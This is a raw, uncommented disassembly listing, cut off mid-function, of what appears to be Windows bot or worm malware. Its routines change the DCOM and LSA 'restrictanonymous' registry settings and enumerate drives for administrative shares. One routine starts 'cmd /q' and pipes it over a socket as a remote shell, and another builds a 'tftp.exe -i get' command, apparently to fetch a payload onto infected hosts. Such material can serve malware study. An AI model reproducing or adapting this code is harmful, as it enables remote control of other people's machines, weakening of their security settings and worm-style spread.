E ======================================= ; Attributes: bp-based frame sub_415C62 proc near ; DATA XREF: sub_40EC43+5F36o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415CA9 call sub_415CC2 jmp short loc_415CAE ; --------------------------------------------------------------------------- loc_415CA9: ; CODE XREF: sub_415C62+3Ej call sub_415FE8 loc_415CAE: ; CODE XREF: sub_415C62+45j add esp, 10h push [ebp+var_14] call sub_416D90 pop ecx push 0 call dword_423054 ; ExitThread sub_415C62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC2 proc near ; CODE XREF: sub_415C62+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43EBF0, edi jnz loc_415DF4 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43EB94 ; RegOpenKeyExA test eax, eax jnz short loc_415D4D mov ax, word_4384EC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43EB48 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_415D35 push offset unk_4384AC jmp short loc_415D3A ; --------------------------------------------------------------------------- loc_415D35: ; CODE XREF: sub_415CC2+6Aj push offset dword_438480 loc_415D3A: ; CODE XREF: sub_415CC2+71j push eax call sub_416FB6 pop ecx pop ecx push [ebp+var_4] call dword_43EB00 ; RegCloseKey jmp short loc_415D60 ; --------------------------------------------------------------------------- loc_415D4D: ; CODE XREF: sub_415CC2+36j lea eax, [ebp+var_214] push offset unk_438440 push eax call sub_416FB6 pop ecx pop ecx loc_415D60: ; CODE XREF: sub_415CC2+89j cmp [ebp+arg_C], edi jnz short loc_415D7F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_415D7F: ; CODE XREF: sub_415CC2+A1j lea eax, [ebp+var_214] push eax call sub_40BD8D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43EB94 ; RegOpenKeyExA test eax, eax jnz short loc_415DED lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43EB48 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_415DD5 push offset unk_4383E0 jmp short loc_415DDA ; --------------------------------------------------------------------------- loc_415DD5: ; CODE XREF: sub_415CC2+10Aj push offset unk_438398 loc_415DDA: ; CODE XREF: sub_415CC2+111j push eax call sub_416FB6 pop ecx pop ecx push [ebp+var_4] call dword_43EB00 ; RegCloseKey jmp short loc_415E07 ; --------------------------------------------------------------------------- loc_415DED: ; CODE XREF: sub_415CC2+E2j push offset unk_438348 jmp short loc_415DF9 ; --------------------------------------------------------------------------- loc_415DF4: ; CODE XREF: sub_415CC2+13j push offset unk_438304 loc_415DF9: ; CODE XREF: sub_415CC2+130j lea eax, [ebp+var_214] push eax call sub_416FB6 pop ecx pop ecx loc_415E07: ; CODE XREF: sub_415CC2+129j cmp [ebp+arg_C], edi jnz short loc_415E26 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_415E26: ; CODE XREF: sub_415CC2+148j lea eax, [ebp+var_214] push eax call sub_40BD8D cmp dword_43EC18, edi pop ecx jnz loc_415FA3 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_415E49: ; CODE XREF: sub_415CC2+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43EA70 cmp eax, edi mov [ebp+var_10], eax jz short loc_415EE8 cmp eax, 0EAh jz short loc_415EE8 xor esi, esi loc_415E77: ; CODE XREF: sub_415CC2+21Fj push off_43816C[esi] push edi call sub_40DACA pop ecx pop ecx push off_43816C[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_415E9C push offset unk_4382D0 jmp short loc_415EA1 ; --------------------------------------------------------------------------- loc_415E9C: ; CODE XREF: sub_415CC2+1D1j push offset unk_438294 loc_415EA1: ; CODE XREF: sub_415CC2+1D8j push 200h push eax call sub_41752A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_415ECE push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_415ECE: ; CODE XREF: sub_415CC2+1F0j lea eax, [ebp+var_214] push eax call sub_40BD8D add esi, 8 pop ecx cmp esi, 20h jb short loc_415E77 jmp loc_415F80 ; --------------------------------------------------------------------------- loc_415EE8: ; CODE XREF: sub_415CC2+1AAj ; sub_415CC2+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_415F77 loc_415EF7: ; CODE XREF: sub_415CC2+2B1j mov edi, [esi] push edi call sub_41969C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_415F6C push edi call sub_40D9B7 push eax push 0 call sub_40DACA add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_415F2C push offset unk_438260 jmp short loc_415F31 ; --------------------------------------------------------------------------- loc_415F2C: ; CODE XREF: sub_415CC2+261j push offset unk_438224 loc_415F31: ; CODE XREF: sub_415CC2+268j push 200h push eax call sub_41752A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_415F5F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_415F5F: ; CODE XREF: sub_415CC2+281j lea eax, [ebp+var_214] push eax call sub_40BD8D pop ecx loc_415F6C: ; CODE XREF: sub_415CC2+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_415EF7 xor edi, edi loc_415F77: ; CODE XREF: sub_415CC2+22Fj push [ebp+var_8] call dword_43EBB4 loc_415F80: ; CODE XREF: sub_415CC2+221j cmp [ebp+var_10], 0EAh jz loc_415E49 lea eax, [ebp+var_214] push offset unk_4381EC push eax call sub_416FB6 pop ecx pop ecx pop ebx jmp short loc_415FB6 ; --------------------------------------------------------------------------- loc_415FA3: ; CODE XREF: sub_415CC2+177j lea eax, [ebp+var_214] push offset unk_4381AC push eax call sub_416FB6 pop ecx pop ecx loc_415FB6: ; CODE XREF: sub_415CC2+2DFj cmp [ebp+arg_C], edi jnz short loc_415FD4 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_415FD4: ; CODE XREF: sub_415CC2+2F7j lea eax, [ebp+var_214] push eax call sub_40BD8D pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_415CC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FE8 proc near ; CODE XREF: sub_415C62:loc_415CA9p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43EBF0, ebx push esi jnz loc_416116 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43EB94 ; RegOpenKeyExA test eax, eax jnz short loc_416073 mov ax, word_4386DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43EB48 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41605B push offset unk_4386A8 jmp short loc_416060 ; --------------------------------------------------------------------------- loc_41605B: ; CODE XREF: sub_415FE8+6Aj push offset dword_43867C loc_416060: ; CODE XREF: sub_415FE8+71j push eax call sub_416FB6 pop ecx pop ecx push [ebp+var_4] call dword_43EB00 ; RegCloseKey jmp short loc_416086 ; --------------------------------------------------------------------------- loc_416073: ; CODE XREF: sub_415FE8+36j lea eax, [ebp+var_220] push offset unk_438440 push eax call sub_416FB6 pop ecx pop ecx loc_416086: ; CODE XREF: sub_415FE8+89j cmp [ebp+arg_C], ebx jnz short loc_4160A5 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_4160A5: ; CODE XREF: sub_415FE8+A1j lea eax, [ebp+var_220] push eax call sub_40BD8D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43EB94 ; RegOpenKeyExA test eax, eax jnz short loc_41610F lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43EB48 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_4160F7 push offset unk_438630 jmp short loc_4160FC ; --------------------------------------------------------------------------- loc_4160F7: ; CODE XREF: sub_415FE8+106j push offset unk_4385E8 loc_4160FC: ; CODE XREF: sub_415FE8+10Dj push eax call sub_416FB6 pop ecx pop ecx push [ebp+var_4] call dword_43EB00 ; RegCloseKey jmp short loc_416129 ; --------------------------------------------------------------------------- loc_41610F: ; CODE XREF: sub_415FE8+E2j push offset unk_438598 jmp short loc_41611B ; --------------------------------------------------------------------------- loc_416116: ; CODE XREF: sub_415FE8+13j push offset unk_438304 loc_41611B: ; CODE XREF: sub_415FE8+12Cj lea eax, [ebp+var_220] push eax call sub_416FB6 pop ecx pop ecx loc_416129: ; CODE XREF: sub_415FE8+125j cmp [ebp+arg_C], ebx jnz short loc_416148 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_416148: ; CODE XREF: sub_415FE8+144j lea eax, [ebp+var_220] push eax call sub_40BD8D cmp dword_43EC18, ebx pop ecx jnz loc_4162BF push edi xor esi, esi mov edi, 200h loc_416169: ; CODE XREF: sub_415FE8+1EEj push dword_438170[esi] push off_43816C[esi] push ebx call sub_40DA1E add esp, 0Ch push off_43816C[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_416195 push offset unk_438568 jmp short loc_41619A ; --------------------------------------------------------------------------- loc_416195: ; CODE XREF: sub_415FE8+1A4j push offset unk_438530 loc_41619A: ; CODE XREF: sub_415FE8+1ABj push edi push eax call sub_41752A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_4161C3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_4161C3: ; CODE XREF: sub_415FE8+1BFj lea eax, [ebp+var_220] push eax call sub_40BD8D add esi, 8 pop ecx cmp esi, 10h jb short loc_416169 call dword_42317C ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_4162A7 loc_4161EB: ; CODE XREF: sub_415FE8+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41629C cmp bl, 41h jz loc_41629C movsx esi, bl push esi push offset aC_3 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41752A push esi push offset aC_2 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41752A add esp, 20h lea eax, [ebp+var_20] push eax call dword_43EB84 ; GetDriveTypeA cmp eax, 3 jnz short loc_41629C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DA1E add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_416260 push offset unk_438568 jmp short loc_416265 ; --------------------------------------------------------------------------- loc_416260: ; CODE XREF: sub_415FE8+26Fj push offset unk_438530 loc_416265: ; CODE XREF: sub_415FE8+276j push edi push eax call sub_41752A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41628F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_41628F: ; CODE XREF: sub_415FE8+28Bj lea eax, [ebp+var_220] push eax call sub_40BD8D pop ecx loc_41629C: ; CODE XREF: sub_415FE8+20Bj ; sub_415FE8+214j ... inc bl shr [ebp+var_4], 1 jnz loc_4161EB loc_4162A7: ; CODE XREF: sub_415FE8+1FDj lea eax, [ebp+var_220] push offset unk_4384F0 push eax call sub_416FB6 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_4162D2 ; --------------------------------------------------------------------------- loc_4162BF: ; CODE XREF: sub_415FE8+173j lea eax, [ebp+var_220] push offset unk_4381AC push eax call sub_416FB6 pop ecx pop ecx loc_4162D2: ; CODE XREF: sub_415FE8+2D5j cmp [ebp+arg_C], ebx jnz short loc_4162F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_4162F0: ; CODE XREF: sub_415FE8+2EDj lea eax, [ebp+var_220] push eax call sub_40BD8D pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_415FE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416304 proc near ; CODE XREF: sub_415208+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416459 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_444574[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4230A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41662B lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_416373 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_438728 call sub_40BE01 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_416453 ; --------------------------------------------------------------------------- loc_416373: ; CODE XREF: sub_416304+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4166C9 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_4163B4 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_438728 call sub_40BE01 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_423168 ; TerminateThread xor eax, eax jmp loc_416454 ; --------------------------------------------------------------------------- loc_4163B4: ; CODE XREF: sub_416304+86j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_423180 ; WaitForMultipleObjects sub eax, ebx jz short loc_41640E dec eax jz short loc_416408 dec eax jz short loc_4163F4 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_4386E0 call sub_40BE01 pop ecx pop ecx jmp short loc_416423 ; --------------------------------------------------------------------------- loc_4163F4: ; CODE XREF: sub_416304+D9j mov edi, dword_423168 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_416423 ; --------------------------------------------------------------------------- loc_416408: ; CODE XREF: sub_416304+D6j push ebx push dword ptr [esi+10h] jmp short loc_416412 ; --------------------------------------------------------------------------- loc_41640E: ; CODE XREF: sub_416304+D3j push ebx push dword ptr [esi+14h] loc_416412: ; CODE XREF: sub_416304+108j call dword_423168 ; TerminateThread push 1 push dword ptr [esi+8] call dword_423170 ; TerminateProcess loc_416423: ; CODE XREF: sub_416304+EEj ; sub_416304+102j push dword ptr [esi+10h] mov edi, dword_423078 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_43EBBC ; closesocket push esi call sub_41793B xor eax, eax inc eax loc_416453: ; CODE XREF: sub_416304+6Aj pop ecx loc_416454: ; CODE XREF: sub_416304+ABj pop edi pop esi pop ebx leave retn sub_416304 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416459 proc near ; CODE XREF: sub_416304+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417889 mov esi, eax pop ecx cmp esi, edi jz loc_416543 mov ebx, dword_423140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_423078 test eax, eax jnz short loc_4164BC call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_438808 jmp short loc_4164DC ; --------------------------------------------------------------------------- loc_4164BC: ; CODE XREF: sub_416459+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_4164E4 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_4387B8 loc_4164DC: ; CODE XREF: sub_416459+61j call sub_40BE01 pop ecx jmp short loc_416512 ; --------------------------------------------------------------------------- loc_4164E4: ; CODE XREF: sub_416459+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416552 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_416547 push offset dword_438780 call sub_40BD8D loc_416512: ; CODE XREF: sub_416459+89j cmp [ebp+var_4], 0 pop ecx jz short loc_41651E push [ebp+var_4] call edi ; CloseHandle loc_41651E: ; CODE XREF: sub_416459+BEj cmp [ebp+var_8], 0 jz short loc_416529 push [ebp+var_8] call edi ; CloseHandle loc_416529: ; CODE XREF: sub_416459+C9j mov eax, [esi] test eax, eax jz short loc_416532 push eax call edi ; CloseHandle loc_416532: ; CODE XREF: sub_416459+D4j mov eax, [esi+4] test eax, eax jz short loc_41653C push eax call edi ; CloseHandle loc_41653C: ; CODE XREF: sub_416459+DEj push esi call sub_41793B pop ecx loc_416543: ; CODE XREF: sub_416459+1Dj xor eax, eax jmp short loc_41654D ; --------------------------------------------------------------------------- loc_416547: ; CODE XREF: sub_416459+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41654D: ; CODE XREF: sub_416459+ECj pop edi pop esi pop ebx leave retn sub_416459 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416552 proc near ; CODE XREF: sub_416459+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417030 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417030 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42313C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_423138 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_423120 ; CreateProcessA test eax, eax jz short loc_41660E mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_444570[eax], ecx call dword_423078 ; CloseHandle jmp short loc_416624 ; --------------------------------------------------------------------------- loc_41660E: ; CODE XREF: sub_416552+9Aj call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_438858 call sub_40BE01 mov esi, [ebp+var_4] pop ecx pop ecx loc_416624: ; CODE XREF: sub_416552+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41662B proc near ; DATA XREF: sub_416304+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, dword_423074 push esi push edi mov edi, [ebp+arg_0] jmp short loc_41668E ; --------------------------------------------------------------------------- loc_416642: ; CODE XREF: sub_41662B+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_416677 loc_41664D: ; CODE XREF: sub_41662B+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_416667 cmp dl, 0Dh jz short loc_416667 mov [ebp+eax+var_1B0], 0Dh inc eax loc_416667: ; CODE XREF: sub_41662B+2Cj ; sub_41662B+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_41664D loc_416677: ; CODE XREF: sub_41662B+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43EB74 ; send test eax, eax jle short loc_4166A8 loc_41668E: ; CODE XREF: sub_41662B+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_416642 loc_4166A8: ; CODE XREF: sub_41662B+61j mov esi, dword_42308C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_4166C4 call esi ; RtlGetLastWin32Error push eax push offset dword_4388A8 call sub_40BE01 pop ecx pop ecx loc_4166C4: ; CODE XREF: sub_41662B+88j pop edi pop esi pop ebx leave retn sub_41662B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166C9 proc near ; DATA XREF: sub_416304+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_4167C2 ; --------------------------------------------------------------------------- loc_4166E4: ; CODE XREF: sub_4166C9+10Ej cmp [ebp+var_10], ebx jbe short loc_4166F1 dec [ebp+var_10] jmp loc_4167C5 ; --------------------------------------------------------------------------- loc_4166F1: ; CODE XREF: sub_4166C9+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4167AD cmp al, 8 mov [ebp+var_C], ebx jz short loc_416761 cmp al, 7Fh jz short loc_416761 cmp al, 3 jnz short loc_41671C push ebx push ebx call dword_423184 ; GenerateConsoleCtrlEvent jmp short loc_416788 ; --------------------------------------------------------------------------- loc_41671C: ; CODE XREF: sub_4166C9+47j cmp al, 15h jnz short loc_41673E xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416774 ; --------------------------------------------------------------------------- loc_41673E: ; CODE XREF: sub_4166C9+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_416775 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416774 ; --------------------------------------------------------------------------- loc_416761: ; CODE XREF: sub_4166C9+3Fj ; sub_4166C9+43j cmp esi, ebx jbe short loc_41678B dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416774: ; CODE XREF: sub_4166C9+73j ; sub_4166C9+96j pop ecx loc_416775: ; CODE XREF: sub_4166C9+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43EB74 ; send test eax, eax jle short loc_4167DD loc_416788: ; CODE XREF: sub_4166C9+51j mov al, byte ptr [ebp+arg_0+3] loc_41678B: ; CODE XREF: sub_4166C9+9Aj cmp al, 0Dh jnz short loc_4167C5 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_42307C ; WriteFile test eax, eax jz short loc_4167DD xor esi, esi jmp short loc_4167C5 ; --------------------------------------------------------------------------- loc_4167AD: ; CODE XREF: sub_4166C9+34j cmp [ebp+var_C], ebx jnz short loc_4167BB mov [ebp+var_C], 1 jmp short loc_4167C5 ; --------------------------------------------------------------------------- loc_4167BB: ; CODE XREF: sub_4166C9+E7j mov [ebp+var_10], 0Ah loc_4167C2: ; CODE XREF: sub_4166C9+16j mov [ebp+var_C], ebx loc_4167C5: ; CODE XREF: sub_4166C9+23j ; sub_4166C9+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43EB3C ; recv test eax, eax jg loc_4166E4 loc_4167DD: ; CODE XREF: sub_4166C9+BDj ; sub_4166C9+DEj pop edi pop esi pop ebx leave retn sub_4166C9 endp ; =============== S U B R O U T I N E ======================================= sub_4167E2 proc near ; CODE XREF: sub_416802+Ap ; sub_4168DA+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4177B0 push [esp+8+arg_4] mov esi, eax call sub_4177B0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_4167E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416802 proc near ; CODE XREF: sub_4168F1+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_4167E2 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_41681F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41681F: ; CODE XREF: sub_416802+17j push ebx push esi push edi push [ebp+arg_8] call sub_4177B0 push [ebp+arg_C] mov esi, eax call sub_4177B0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43898C, eax lea eax, [edi+1] mov dword_4389AD, eax lea eax, [edi+17h] mov dword_4389A5, eax pop eax push 74h sub eax, edi push offset dword_438928 push ebx mov dword_4389BB, eax call sub_417090 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417090 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417090 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417090 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417090 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417090 add esi, edi push 38h add esi, ebx push offset byte_4389B1 push esi call sub_417090 mov eax, [ebp+var_4] add esp, 18h pop 